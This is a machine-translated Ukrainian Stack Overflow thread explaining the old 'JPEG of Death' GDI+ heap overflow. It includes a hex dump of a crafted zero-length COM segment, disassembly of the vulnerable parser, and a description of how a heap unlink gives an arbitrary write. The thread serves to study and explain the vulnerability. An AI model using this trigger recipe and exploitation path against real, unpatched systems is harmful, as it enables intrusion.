Як працює вразливість JPEG Death?


94

Я читав про старий експлойт проти GDI + в Windows XP і Windows Server 2003, який називався JPEG смерті для проекту, над яким я працюю.

Експлойт добре пояснюється за таким посиланням: http://www.infosecwriters.com/text_resources/pdf/JPEG.pdf

Фактично файл JPEG містить розділ під назвою COM, що містить (можливо, порожнє) поле коментаря та двобайтове значення, що містить розмір COM. Якщо коментарів немає, розмір дорівнює 2. Зчитувач (GDI +) зчитує розмір, віднімає два та виділяє буфер відповідного розміру для копіювання коментарів у купі. Атака передбачає розміщення значення 0в полі. GDI + віднімає 2, що призводить до значення , -2 (0xFFFe)яке перетворюється в ціле число без знака 0XFFFFFFFEшляху memcpy.

Приклад коду:

unsigned int size;
size = len - 2;
char *comment = (char *)malloc(size + 1);
memcpy(comment, src, size);

Зверніть увагу, що malloc(0)на третьому рядку слід повернути покажчик на нерозподілену пам’ять у купі. Як написання 0XFFFFFFFEбайтів ( 4GB!!!!) може не призвести до збою програми? Чи пише це за межами купи та в просторі інших програм та ОС? Що тоді трапляється?

Як я розумію memcpy, він просто копіює nсимволи з пункту призначення у джерело. У цьому випадку джерело має бути в стеку, пункт призначення в купі і nє 4GB.


malloc виділить пам'ять з купи. я думаю, що експлойт був зроблений до memcpy та після виділення пам’яті
iedoc

просто як допоміжна примітка: це не memcpy, що підвищує значення до цілого числа без знака (4 байти), а швидше віднімання.
версія

1
Мою попередню відповідь оновлено живим прикладом. Розмір mallocвидання складає лише 2 байти, а не 0xFFFFFFFE. Цей величезний розмір використовується лише для розміру копії, а не для розміру розподілу.
Нейца

Відповіді:


96

Ця вразливість, безумовно, була переповненням купи .

Як написання байтів 0XFFFFFFFE (4 Гб !!!!) може не призвести до збою програми?

Можливо, так і буде, але в деяких випадках у вас є час на використання до того, як відбудеться збій (іноді ви можете повернути програму до нормального виконання та уникнути збою).

Коли запускається memcpy (), копія перезапише або деякі інші блоки кучі, або деякі частини структури управління купою (наприклад, вільний список, список зайнятих тощо).

У якийсь момент копія зіткнеться з не виділеною сторінкою і спрацює AV (порушення доступу) під час запису. Потім GDI + спробує виділити новий блок у купі (див. Ntdll! RtlAllocateHeap ) ... але структури купи тепер усі переплутані.

На цьому етапі, ретельно створивши своє зображення JPEG, ви можете переписати структури управління купою контрольованими даними. Коли система намагається виділити новий блок, вона, ймовірно, від’єднає (безкоштовний) блок від вільного списку.

Блоком керують за допомогою (особливо) флінк (пряме посилання; наступний блок у списку) та блимання (зворотне посилання; попередній блок у списку). Якщо ви контролюєте як флінк, так і миготіння, можливо, у вас є можливий WRITE4 (записувати що / де умова), де ви контролюєте, що ви можете писати і де ви можете писати.

На той момент ви можете переписати покажчик функції (покажчики SEH [Структуровані обробники винятків] були ціллю вибору в той час ще в 2004 році) і отримати виконання коду.

Дивіться публікацію блогу « Корупція купи»: тематичне дослідження .

Примітка: хоча я писав про експлуатацію за допомогою фрілісту, зловмисник може обрати інший шлях, використовуючи інші метадані купи ("метадані кучи" - це структури, що використовуються системою для управління купою; flink і blink є частиною метаданих купи), але експлуатація роз'єднаного зв'язку, мабуть, "найпростіша". Пошук у Google за запитом "експлуатація купи" поверне численні дослідження про це.

Чи пише це за межами купи та в просторі інших програм та ОС?

Ніколи. Сучасна ОС базується на концепції віртуального адресного простору, тому кожен процес має свій власний віртуальний адресний простір, що дозволяє адресувати до 4 гігабайт пам’яті в 32-бітовій системі (на практиці ви отримуєте лише половину її в користувацькій землі, решта - для ядра).

Коротше кажучи, процес не може отримати доступ до пам'яті іншого процесу (за винятком того, що він запитує ядро ​​через якийсь сервіс / API, але ядро ​​перевірить, чи має право абонент, що викликає це зробити).


Я вирішив протестувати цю вразливість цього кінця тижня, щоб ми могли отримати хороше уявлення про те, що відбувається, а не чисті спекуляції. Зараз вразливості 10 років, тому я вважав, що писати про це нормально, хоча в цій відповіді я не пояснював частину експлуатації.

Планування

Найскладнішим завданням було знайти Windows XP з лише SP1, як це було в 2004 році :)

Потім я завантажив зображення JPEG, що складається лише з одного пікселя, як показано нижче (вирізано для стислості):

File 1x1_pixel.JPG
Address   Hex dump                                         ASCII
00000000  FF D8 FF E0|00 10 4A 46|49 46 00 01|01 01 00 60| ÿØÿà JFIF  `
00000010  00 60 00 00|FF E1 00 16|45 78 69 66|00 00 49 49|  `  ÿá Exif  II
00000020  2A 00 08 00|00 00 00 00|00 00 00 00|FF DB 00 43| *          ÿÛ C
[...]

Зображення JPEG складається з двійкових маркерів (які вводять сегменти). На наведеному вище зображенні FF D8є маркер SOI (Start Of Image), тоді як FF E0, наприклад, є маркером програми.

Перший параметр у сегменті маркера (крім деяких маркерів, таких як SOI) - це двобайтовий параметр довжини, який кодує кількість байтів у сегменті маркера, включаючи параметр довжини та виключаючи двобайтовий маркер.

Я просто додав COM-маркер (0x FFFE) відразу після SOI, оскільки маркери не мають суворого порядку.

File 1x1_pixel_comment_mod1.JPG
Address   Hex dump                                         ASCII
00000000  FF D8 FF FE|00 00 30 30|30 30 30 30|30 31 30 30| ÿØÿþ  0000000100
00000010  30 32 30 30|30 33 30 30|30 34 30 30|30 35 30 30| 0200030004000500
00000020  30 36 30 30|30 37 30 30|30 38 30 30|30 39 30 30| 0600070008000900
00000030  30 61 30 30|30 62 30 30|30 63 30 30|30 64 30 30| 0a000b000c000d00
[...]

Довжина сегмента COM встановлена 00 00на активацію вразливості. Я також ввів 0xFFFC байти відразу після COM-маркера з повторюваним шаблоном, 4-байтовим числом у шістнадцятковій формі, що стане в нагоді при "використанні" вразливості.

Налагодження

Двічі клацнувши зображення, негайно ініціює помилку в оболонці Windows (вона ж "explorer.exe"), десь у gdiplus.dll, у функції з іменем GpJpegDecoder::read_jpeg_marker().

Ця функція викликається для кожного маркера на зображенні, вона просто: зчитує розмір сегмента маркера, виділяє буфер, довжина якого дорівнює розміру сегмента, і копіює вміст сегмента в цей нещодавно виділений буфер.

Ось початок функції:

.text:70E199D5  mov     ebx, [ebp+arg_0] ; ebx = *this (GpJpegDecoder instance)
.text:70E199D8  push    esi
.text:70E199D9  mov     esi, [ebx+18h]
.text:70E199DC  mov     eax, [esi]      ; eax = pointer to segment size
.text:70E199DE  push    edi
.text:70E199DF  mov     edi, [esi+4]    ; edi = bytes left to process in the image

eaxрегістр вказує на розмір сегмента і ediявляє собою кількість байтів, що залишились на зображенні.

Потім код продовжує читати розмір сегмента, починаючи з найбільш значущого байта (довжина - 16-бітове значення):

.text:70E199F7  xor     ecx, ecx        ; segment_size = 0
.text:70E199F9  mov     ch, [eax]       ; get most significant byte from size --> CH == 00
.text:70E199FB  dec     edi             ; bytes_to_process --
.text:70E199FC  inc     eax             ; pointer++
.text:70E199FD  test    edi, edi
.text:70E199FF  mov     [ebp+arg_0], ecx ; save segment_size

І найменш значущий байт:

.text:70E19A15  movzx   cx, byte ptr [eax] ; get least significant byte from size --> CX == 0
.text:70E19A19  add     [ebp+arg_0], ecx   ; save segment_size
.text:70E19A1C  mov     ecx, [ebp+lpMem]
.text:70E19A1F  inc     eax             ; pointer ++
.text:70E19A20  mov     [esi], eax
.text:70E19A22  mov     eax, [ebp+arg_0] ; eax = segment_size

Після цього розмір сегмента використовується для виділення буфера, слідуючи такому розрахунку:

розмір_розміру = розмір_сегменту + 2

Це робиться за допомогою коду нижче:

.text:70E19A29  movzx   esi, word ptr [ebp+arg_0] ; esi = segment size (cast from 16-bit to 32-bit)
.text:70E19A2D  add     eax, 2 
.text:70E19A30  mov     [ecx], ax 
.text:70E19A33  lea     eax, [esi+2] ; alloc_size = segment_size + 2
.text:70E19A36  push    eax             ; dwBytes
.text:70E19A37  call    _GpMalloc@4     ; GpMalloc(x)

У нашому випадку, оскільки розмір сегмента дорівнює 0, виділений розмір для буфера становить 2 байти .

Уразливість відразу після розподілу:

.text:70E19A37  call    _GpMalloc@4     ; GpMalloc(x)
.text:70E19A3C  test    eax, eax
.text:70E19A3E  mov     [ebp+lpMem], eax ; save pointer to allocation
.text:70E19A41  jz      loc_70E19AF1
.text:70E19A47  mov     cx, [ebp+arg_4]   ; low marker byte (0xFE)
.text:70E19A4B  mov     [eax], cx         ; save in alloc (offset 0)
;[...]
.text:70E19A52  lea     edx, [esi-2]      ; edx = segment_size - 2 = 0 - 2 = 0xFFFFFFFE!!!
;[...]
.text:70E19A61  mov     [ebp+arg_0], edx

Код просто віднімає розмір segment_size (довжина сегмента становить 2 байти) з усього розміру сегмента (0 в нашому випадку) і закінчується цілим недотоком: 0 - 2 = 0xFFFFFFFE

Потім код перевіряє, чи залишилось байтів для синтаксичного аналізу зображення (що відповідає дійсності), а потім переходить до копії:

.text:70E19A69  mov     ecx, [eax+4]  ; ecx = bytes left to parse (0x133)
.text:70E19A6C  cmp     ecx, edx      ; edx = 0xFFFFFFFE
.text:70E19A6E  jg      short loc_70E19AB4 ; take jump to copy
;[...]
.text:70E19AB4  mov     eax, [ebx+18h]
.text:70E19AB7  mov     esi, [eax]      ; esi = source = points to segment content ("0000000100020003...")
.text:70E19AB9  mov     edi, dword ptr [ebp+arg_4] ; edi = destination buffer
.text:70E19ABC  mov     ecx, edx        ; ecx = copy size = segment content size = 0xFFFFFFFE
.text:70E19ABE  mov     eax, ecx
.text:70E19AC0  shr     ecx, 2          ; size / 4
.text:70E19AC3  rep movsd               ; copy segment content by 32-bit chunks

Наведений фрагмент показує, що розмір копії становить 0xFFFFFFFE 32-бітові фрагменти. Керується вихідним буфером (вміст картинки), а призначення - буфером у купі.

Умова запису

Копія ініціює виняток щодо порушення доступу (AV), коли вона досягає кінця сторінки пам’яті (це може бути як із вихідного, так і з цільового покажчика). Коли спрацьовує AV, куча вже перебуває у вразливому стані, оскільки копія вже перезаписала всі наступні блоки кучі, поки не виявилася невідмічена сторінка.

Що робить цю помилку придатною для використання, це те, що 3 SEH (Структурований обробник винятків; це спроба / крім низького рівня) ловлять винятки в цій частині коду. Точніше, 1-й SEH розгорне стек, щоб повернутися до синтаксичного аналізу іншого маркера JPEG, таким чином повністю пропустивши маркер, який спричинив виняток.

Без SEH код просто розбив всю програму. Отже, код пропускає сегмент COM і аналізує інший сегмент. Отже, ми повертаємося до GpJpegDecoder::read_jpeg_marker()нового сегменту, і коли код виділяє новий буфер:

.text:70E19A33  lea     eax, [esi+2] ; alloc_size = semgent_size + 2
.text:70E19A36  push    eax             ; dwBytes
.text:70E19A37  call    _GpMalloc@4     ; GpMalloc(x)

Система від’єднає блок із вільного списку. Буває, що структури метаданих були перезаписані змістом зображення; тому ми контролюємо від’єднання за допомогою керованих метаданих. Наведений нижче код десь у системі (ntdll) в диспетчері купи:

CPU Disasm
Address   Command                                  Comments
77F52CBF  MOV ECX,DWORD PTR DS:[EAX]               ; eax points to '0003' ; ecx = 0x33303030
77F52CC1  MOV DWORD PTR SS:[EBP-0B0],ECX           ; save ecx
77F52CC7  MOV EAX,DWORD PTR DS:[EAX+4]             ; [eax+4] points to '0004' ; eax = 0x34303030
77F52CCA  MOV DWORD PTR SS:[EBP-0B4],EAX
77F52CD0  MOV DWORD PTR DS:[EAX],ECX               ; write 0x33303030 to 0x34303030!!!

Тепер ми можемо писати те, що хочемо, де хочемо ...


3

Оскільки я не знаю код від GDI, те, що нижче, є лише здогадами.

Ну, одна річ, що виникає на увазі, - це одна поведінка, яку я помітив у деяких ОС (я не знаю, чи була в Windows XP така), коли розподіляв з новими / malloc , ви можете виділити більше, ніж ваша оперативна пам’ять, якщо ви не пишете в цю пам'ять.

Це насправді поведінка ядра Linux.

З www.kernel.org:

Сторінки в лінійному адресному просторі процесу не обов'язково містяться в пам'яті. Наприклад, розподіли, зроблені від імені процесу, не виконуються відразу, оскільки простір просто зарезервовано в межах vm_area_struct.

Щоб потрапити в резидентну пам'ять, має бути викликана помилка сторінки.

В основному вам потрібно забруднити пам’ять, перш ніж вона буде фактично розподілена в системі:

  unsigned int size=-1;
  char* comment = new char[size];

Іноді це насправді не робить реального розподілу в оперативній пам'яті (ваша програма все одно не буде використовувати 4 ГБ). Я знаю, що бачив таку поведінку в Linux, однак я не можу повторити її зараз під час інсталяції Windows 7.

Виходячи з цієї поведінки можливий наступний сценарій.

Для того, щоб ця пам'ять існувала в оперативній пам'яті, вам потрібно її забруднити (в основному, memset або інший запис в неї):

  memset(comment, 0, size);

Однак уразливість використовує переповнення буфера, а не помилку розподілу.

Іншими словами, якби я мав це:

 unsinged int size =- 1;
 char* p = new char[size]; // Will not crash here
 memcpy(p, some_buffer, size);

Це призведе до запису після буфера, оскільки немає такого поняття, як 4 Гб сегмента безперервної пам'яті.

Ви нічого не вклали в p, щоб забруднити цілі 4 ГБ пам'яті, і я не знаю, чи memcpyробить пам’ять брудною відразу, чи просто сторінка за сторінкою (я думаю, це сторінка за сторінкою).

Зрештою це закінчиться перезаписом кадру стека (переповнення буфера стека).

Іншою більш можливою вразливістю було б, якщо зображення зберігалося в пам'яті як байтовий масив (зчитування цілого файлу в буфер), а розмір коментарів використовувався лише для пропуску неважливої ​​інформації.

Наприклад

     unsigned int commentsSize = -1;
     char* wholePictureBytes; // Has size of file
     ...
     // Time to start processing the output color
     char* p = wholePictureButes;
     offset = (short) p[COM_OFFSET];
     char* dataP = p + offset;
     dataP[0] = EvilHackerValue; // Vulnerability here

Як ви вже згадували, якщо GDI не виділить такий розмір, програма ніколи не вийде з ладу.


4
Це може бути з 64-розрядною системою, де 4 Гб - це не велика справа (якщо говорити про простір для адрес). Але в 32-бітовій системі (вони теж виявляються вразливими) ви не можете зарезервувати 4 ГБ адресного простору, тому що це все, що є! Тож а malloc(-1U)напевно не вдасться, повернеться NULLі memcpy()розвалиться.
rodrigo

9
Я не думаю, що цей рядок відповідає дійсності: "Врешті-решт це закінчиться записом на іншу адресу процесу". Зазвичай один процес не може отримати доступ до пам'яті іншого. Див. Переваги MMU .
chue x

@MMU Переваги так, ви маєте рацію. Я мав сказати, що перейде звичайні межі купи і почне перезаписувати кадр стека. Я відредагую свою відповідь, дякую за вказівку.
MichaelCMS
Використовуючи наш веб-сайт, ви визнаєте, що прочитали та зрозуміли наші Політику щодо файлів cookie та Політику конфіденційності.
Licensed under cc by-sa 3.0 with attribution required.